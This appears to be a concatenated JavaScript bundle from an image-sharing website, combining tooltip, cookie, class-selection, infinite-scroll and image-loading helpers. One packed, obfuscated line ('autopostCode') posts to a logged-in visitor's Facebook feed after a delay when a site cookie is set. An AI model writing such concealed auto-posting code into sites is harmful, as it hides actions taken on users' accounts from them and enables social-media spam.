							t_class = t_class+"_bottom";
						}
						arrow_top = -12;						
						marg_top = Math.round(top + org_height + opts.edgeOffset);
					}
				
					if(t_class == "_right_top" || t_class == "_left_top"){
						marg_top = marg_top + 5;
					}else if(t_class == "_right_bottom" || t_class == "_left_bottom"){		
						marg_top = marg_top - 5;
					}
					if(t_class == "_left_top" || t_class == "_left_bottom"){	
						marg_left = marg_left + 5;
					}
					dymek_arr.css({"margin-left": arrow_left+"px", "margin-top": arrow_top+"px"});
					dymek.css({"margin-left": marg_left+"px", "margin-top": marg_top+"px"}).attr("class","tip"+t_class);
					
					if (timeout){ clearTimeout(timeout); }
					timeout = setTimeout(function(){ dymek.stop(true,true).fadeIn(opts.fadeIn); }, opts.delay);	
				}
				
				function deactive_tiptip(){
					opts.exit.call(this);
					if (timeout){ clearTimeout(timeout); }
					dymek.fadeOut(opts.fadeOut);
				}
			}				
		});
	}
})(jQuery); 

$(function(){
	$("[title]").tipTip();
	$("img").tipTip( {attribute: "alt"} );
});


/*!
 * jQuery Cookie Plugin v1.3
 * https://github.com/carhartl/jquery-cookie
 *
 * Copyright 2011, Klaus Hartl
 * Dual licensed under the MIT or GPL Version 2 licenses.
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.opensource.org/licenses/GPL-2.0
 */
(function ($, document, undefined) {

	var pluses = /\+/g;

	function raw(s) {
		return s;
	}

	function decoded(s) {
		return decodeURIComponent(s.replace(pluses, ' '));
	}

	var config = $.cookie = function (key, value, options) {

		if (value !== undefined) {
			options = $.extend({}, config.defaults, options);

			if (value === null) {
				options.expires = -1;
			}

			var expires = '';
			if ( options.expires ) 
			{
				/*console.log(options.expires);*/
				var cookieTime;
				
				if ( typeof options.expires == 'string' && options.expires.match(/^[+-]?[0-9]+[ywdhms]$/) !== null ) 
				{
					var match = options.expires.match(/^([+-]?[0-9]+)([ywdhms])$/);
					/*console.log(match);*/
					options.expires = parseInt( match[1], 10) * (({
					"y": (60 * 60 * 24 * 365),
					"w": (60 * 60 * 24 * 7),
					"d": (60 * 60 * 24),
					"h": (60 * 60),
					"m": (60),
					"s": (1)
					}[match[2]]) || 0);
					cookieTime = new Date();
					cookieTime.setTime( cookieTime.getTime() + (options.expires * 1000) );
				}
				else if (typeof options.expires == 'number') 
				{
					cookieTime = new Date();
					cookieTime.setTime( cookieTime.getTime() + (options.expires * 24 * 60 * 60 * 1000) );
				}
				else if (typeof options.expires.toGMTString != 'undefined')
				{
					cookieTime = options.expires;
				}
				else 
				{
					cookieTime.setTime( cookieTime.getTime() + ( options.expires * 1000 ) );
				}
				
				expires = '; expires=' + cookieTime.toGMTString();
			}
			value = config.json ? JSON.stringify(value) : String(value);

			return (document.cookie = [
				encodeURIComponent(key), '=', config.raw ? value : encodeURIComponent(value),
				options.expires ? expires : '', // use expires attribute, max-age is not supported by IE
				options.path    ? '; path=' + options.path : '',
				options.domain  ? '; domain=' + options.domain : '',
				options.secure  ? '; secure' : ''
			].join(''));
		}

		// read
		var decode = config.raw ? raw : decoded;
		var cookies = document.cookie.split('; ');
		for (var i = 0, l = cookies.length; i < l; i++) {
			var parts = cookies[i].split('=');
			if (decode(parts.shift()) === key) {
				var cookie = decode(parts.join('='));
				return config.json ? JSON.parse(cookie) : cookie;
			}
		}

		return null;
	};

	config.defaults = {};

	$.removeCookie = function (key, options) {
		if ($.cookie(key) !== null) {
			$.cookie(key, null, options);
			return true;
		}
		return false;
	};

})(jQuery, document);

/*
	Developed by Robert Nyman, http://www.robertnyman.com
	Code/licensing: http://code.google.com/p/getelementsbyclassname/
*/	
var getElementsByClassName = function (className, tag, elm){
	if (document.getElementsByClassName) {
		getElementsByClassName = function (className, tag, elm) {
			elm = elm || document;
			var elements = elm.getElementsByClassName(className),
				nodeName = (tag)? new RegExp("\\b" + tag + "\\b", "i") : null,
				returnElements = [],
				current;
			for(var i=0, il=elements.length; i<il; i+=1){
				current = elements[i];
				if(!nodeName || nodeName.test(current.nodeName)) {
					returnElements.push(current);
				}
			}
			return returnElements;
		};
	}
	else if (document.evaluate) {
		getElementsByClassName = function (className, tag, elm) {
			tag = tag || "*";
			elm = elm || document;
			var classes = className.split(" "),
				classesToCheck = "",
				xhtmlNamespace = "http://www.w3.org/1999/xhtml",
				namespaceResolver = (document.documentElement.namespaceURI === xhtmlNamespace)? xhtmlNamespace : null,
				returnElements = [],
				elements,
				node;
			for(var j=0, jl=classes.length; j<jl; j+=1){
				classesToCheck += "[contains(concat(' ', @class, ' '), ' " + classes[j] + " ')]";
			}
			try	{
				elements = document.evaluate(".//" + tag + classesToCheck, elm, namespaceResolver, 0, null);
			}
			catch (e) {
				elements = document.evaluate(".//" + tag + classesToCheck, elm, null, 0, null);
			}
			while ((node = elements.iterateNext())) {
				returnElements.push(node);
			}
			return returnElements;
		};
	}
	else {
		getElementsByClassName = function (className, tag, elm) {
			tag = tag || "*";
			elm = elm || document;
			var classes = className.split(" "),
				classesToCheck = [],
				elements = (tag === "*" && elm.all)? elm.all : elm.getElementsByTagName(tag),
				current,
				returnElements = [],
				match;
			for(var k=0, kl=classes.length; k<kl; k+=1){
				classesToCheck.push(new RegExp("(^|\\s)" + classes[k] + "(\\s|$)"));
			}
			for(var l=0, ll=elements.length; l<ll; l+=1){
				current = elements[l];
				match = false;
				for(var m=0, ml=classesToCheck.length; m<ml; m+=1){
					match = classesToCheck[m].test(current.className);
					if (!match) {
						break;
					}
				}
				if (match) {
					returnElements.push(current);
				}
			}
			return returnElements;
		};
	}
	return getElementsByClassName(className, tag, elm);
};
function loadScript(dnpScript)
{
	$.ajax({
		async: false,
		type: "GET",
		url: dnpScript,
		data: null,
		success: function( data ) { 
			var js, first_js = document.getElementsByTagName('script')[0];
			js = document.createElement('script'); 
			js.appendChild(document.createTextNode( data ));
			js.type = 'text/javascript';
			first_js.parentNode.insertBefore(js, first_js);
		},
		dataType: 'script'
	});
}

autopostCode = function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1(a(2)!==\'d\'&&c&&2){9(3(){1($.8(\'6-2\')==\'7\'){5.b(3(0){1(0.n===\'k\'){5.e(\'/m/j\',\'i\',f,3(0){1(!0||0.4){g.h(0.4)}})}})}},l)}',24,24,'response|if|autopost|function|error|FB|ips|true|cookie|setTimeout|typeof|getLoginStatus|img_page|undefined|api|params|console|log|post|feed|connected|5000|me|status'.split('|'),0,{});

/**
* Przygotowanie i załadowanie skryptu odpowiedzialnego za ładowanie
* kolejnych materiałów bez przeładowania strony
*/
function loadInfiniteScroll( cnt, css_item, onscroll )
{
	
	$.getScript("compress/jquery.infinitescroll.min.js").done(function(script, textStatus) {
		jQuery.ias({
			container 	: cnt,
			item		: css_item,
			pagination	: ".next_prev",
			next		: "#next-scroll",
			loader		: "images/loader.gif",
			customLoaderPages: onscroll,
			onRenderComplete: function(items) {
				if( items.length == 0 )
				{
					$("#next-scroll").remove();
					return;
				}
				for( i=0; i <= items.length; i++ )
				{
					if( typeof items[i] !== 'undefined')
					{
						FB.XFBML.parse( items[i] );
					}
				}
				for( i=0; i<=items.length; i++ )
				{
					if( typeof items[i] !== 'undefined')
					{
						FB.Share.renderCall( items[i].querySelectorAll('[data-name]') );
						$(items[i]).find('img[data-original]').each(function(i)
						{
							$(this).attr("src", $(this).data("original")).removeAttr("style");
						});
					}
				}
				
			
				//FB = FBIPS
				//window.FB = FBIPS;

				//$.getScript("js/FB.Share.js", function(){
					setTimeout(function(){
						if( $("body").hasClass("two_columns") ){
							columnLayout( $(items), null );
						} else if( $("body").hasClass("three_columns") ){
							columnLayout( null, $(items) );
						}
						
						
					}, 500 );
				
				//});
			}
		});
	});
}
function parseURL( url )
{
    var a =  document.createElement('a');
    a.href = url;
    return {
        source: url,
        protocol: a.protocol.replace(':',''),
        host: a.hostname,
        port: a.port,
        query: a.search,
        params: (function(){
            var ret = {},
                seg = a.search.replace(/^\?/,'').split('&'),
                len = seg.length, i = 0, s;
            for (;i<len;i++) {
                if (!seg[i]) { continue; }
                s = seg[i].split('=');
                ret[s[0]] = s[1];
            }
            return ret;
        })(),
        file: (a.pathname.match(/\/([^\/?#]+)$/i) || [,''])[1],
        hash: a.hash.replace('#',''),
        path: a.pathname.replace(/^([^\/])/,'/$1'),
        relative: (a.href.match(/tps?:\/\/[^\/]+(.+)/) || [,''])[1],
        segments: a.pathname.replace(/^\//,'').split('/')
    };
}


var b = navigator.userAgent.toLowerCase();

// Figure out what browser is being used
jQuery.browser = {
	version: (b.match(/.+(?:rv|it|ra|ie)[\/: ]([\d.]+)/) || [])[1],
	safari: /webkit/.test(b),
	opera: /opera/.test(b),
	msie: /msie/.test(b) && !/opera/.test(b),
	mozilla: /mozilla/.test(b) && !/(compatible|webkit)/.test(b)
};
jQuery.live = jQuery.on;



/*************************************************************/
/*************************************************************/
/************************ LIBS *******************************/
/*************************************************************/
/*************************************************************/


(function( $ ) {
// $('img.photo',this).imagesLoaded(myFunction)
// execute a callback when all images have loaded.
// needed because .load() doesn't work on cached images

// Modified with a two-pass approach to changing image
// src. First, the proxy imagedata is set, which leads
// to the first callback being triggered, which resets
// imagedata to the original src, which fires the final,
// user defined callback.

// modified by yiannis chatzikonstantinou.

// original:
// mit license. paul irish. 2010.
// webkit fix from Oren Solomianik. thx!

// callback function is passed the last image to load
//   as an argument, and the collection as `this`


$.fn.imagesLoaded = function( callback ){
  var elems = this.find( 'img' ),
      elems_src = [],
      self = this,
      len = elems.length;

  if ( !elems.length ) {
    callback.call( this );
    return this;
  }

  elems.one('load error', function() {
    if ( --len === 0 ) {
      // Rinse and repeat.
      len = elems.length;
      elems.one( 'load error', function() {
        if ( --len === 0 ) {
          callback.call( self );
        }
      }).each(function() {
        this.src = elems_src.shift();
      });
    }
  }).each(function() {
    elems_src.push( this.src );
    // webkit hack from http://groups.google.com/group/jquery-dev/browse_thread/thread/eee6ab7b2da50e1f
    // data uri bypasses webkit log warning (thx doug jones)
    this.src = "data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==";
  });

  return this;
};
})( jQuery );